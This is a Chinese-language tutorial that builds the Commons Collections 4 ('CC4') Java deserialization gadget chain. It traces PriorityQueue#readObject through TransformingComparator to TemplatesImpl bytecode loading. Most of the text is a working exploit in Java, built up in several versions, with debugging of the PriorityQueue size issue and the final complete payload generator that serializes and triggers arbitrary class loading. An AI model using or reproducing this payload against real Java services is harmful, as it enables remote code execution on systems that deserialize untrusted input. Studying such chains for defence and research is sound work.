CC4链
前言
由于TransformingComparator类在commons-collections3没有实现序列化接口,而commons-collections4实现了,所以才有CC4链的存在。
CC4链的后半部分其实就是CC3链的后半部分,也就是通过InstantiateTransformer#transform走完后续的动态类加载的过程。
但是CC3的链子是直接拿了CC1或者CC6的前半部分的链子来连接transform方法。而CC4则是重新寻找了别的方式来实现。
环境部署
- jdk8u65
- Commons-Collections 4.0
在pom.xml里添加依赖:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
然后clean+install。
攻击链分析
一、寻找链尾
链尾我们前面说过了,就是CC3链的后半部分。

这里就不再赘述了。接下来我们需要往前跟进,寻找哪个方法里调用了transform方法。、
二、寻找链子
由于我们前面一直使用了ChainedTransformer,所以从它的transform来find usages。

在TransformingComparator里发现了compare方法里调用了它,而这个方法其实是比较常见的,非常符合我们的利用条件。

我们继续往前跟进,看谁调用了compare。

发现在PriorityQueue中发现了有这些方法直接调用了compare,其实他们的作用大差不差的,我们选择siftDownUsingComparator研究。

继续往前跟进

可以发现只有一个方法直接调用了它,就是当前类下的siftDown方法。再接下来一步步跟进,可以发现都在当前类下,并且最后走到了readObject里面。
利用链如下:

化简一下其实就是:
PriorityQueue#readObject -->.... --> TransformingComparator#compare --> InstantiateTransformer#transform
三、初步编写EXP
我们先将CC3链的那一半链子写出来:
package com.test.CC4;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class test {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("E:\\Experiment\\TemplatesBytes.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),// 构造 setValue 的可控参数
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(1);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
然后我们尝试连接TransformingComparator类中的compare方法。我们最后是希望调用的是chainedTransformer的transform方法,我们看一下当前类的构造方法能否控制参数。

可以发现我们只需要将chainedTransformer传给transformer即可。
package com.test.CC4;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class test {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("E:\\Experiment\\TemplatesBytes.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),// 构造 setValue 的可控参数
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
transformingComparator.compare(1,1);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
运行看看目前链子是否可行

成功弹出计算器,说明目前是可行的,我们继续完善EXP:
然后便是要与PriorityQueue中的各种方法连接,我们首先看一下此类的构造方法

发现可以传入一个comparator,这样我们便可以直接传入transformingComparator作为参数。然后进行序列化和反序列化。
理想下的EXP:
package com.test.CC4;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class test {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("E:\\Experiment\\TemplatesBytes.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),// 构造 setValue 的可控参数
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
- 但是运行之后会发现没有任何异常,也没有弹出计算器,这是为什么呢?
四、解决问题
我们就需要断点调试一下了,这里断点设置在readObject之后heapify即可。

可以发现此时的size等于0,但是-1之后就不满足i>=0的条件了。所以它并不会继续执行siftdown了。
并且这里的(size>>>1)代表的是二进制里的向右移一位,0向右移动一位还是零。但是如果size的值为2就满足条件了。

size在这里代表的是队列中有多少个元素,我们想解决这个问题就有两种方式。
- 通过反射直接修改size的大小
- 通过add往队列中添加两个元素
- 首先我们尝试通过第一种方式直接修改字段值解决
添加如下反射代码
Class clazz = priorityQueue.getClass();
Field sizeField = clazz.getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.set(priorityQueue,2);
然后直接运行看效果

- 然后便是通过第二种方式通过add添加两个元素解决
priorityQueue.add(1);
priorityQueue.add(2);
然后运行看效果:

你可以发现虽然成功弹出了计算器,但是走的链子并不是我们所设想的啊。所走的链子变成了:
add->offer->siftUp.....
那我们跟进到add里面看看什么情况

继续跟进到offer

跟进到最后可以发现,最终也能走完整条链子

这种情况跟当时hashMap#put时遇到的情况非常相似,都是提前走完了整条链子。
而解决方案自然也一样,先在前面把比如给TransformingComparator赋值一个没用的,然后add完了之后再改回chainedTransformer。
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
add后反射修改回去即可:
priorityQueue.add(1);
priorityQueue.add(2);
Class t = transformingComparator.getClass();
Field transformerField = t.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator,chainedTransformer);
五、完整的EXP
完整的CC4链:
package com.test.CC4;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class test {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("E:\\Experiment\\TemplatesBytes.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
// 下面一条去掉也是可以的,因为在readObject时会对它进行初始化
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),// 构造 setValue 的可控参数
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
// Class clazz = priorityQueue.getClass();
// Field sizeField = clazz.getDeclaredField("size");
// sizeField.setAccessible(true);
// sizeField.set(priorityQueue,2);
priorityQueue.add(1);
priorityQueue.add(2);
Class t = transformingComparator.getClass();
Field transformerField = t.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator,chainedTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
运行看效果

可以发现这一次走的链子便完全符合我们的设想了。
当然选择通过反射将size值改为2也是可以的,但是我看官方好像都使用的第二种解决方案也就是通过add
六、总结
CC4链子的后半条是直接拿了CC3的后半条链子,只有从InstantiateTransformer#transform往前是不一样的。
依旧画个图简单总结一下

可以发现,复现完前面的,后面的链子就越来越得心应手了。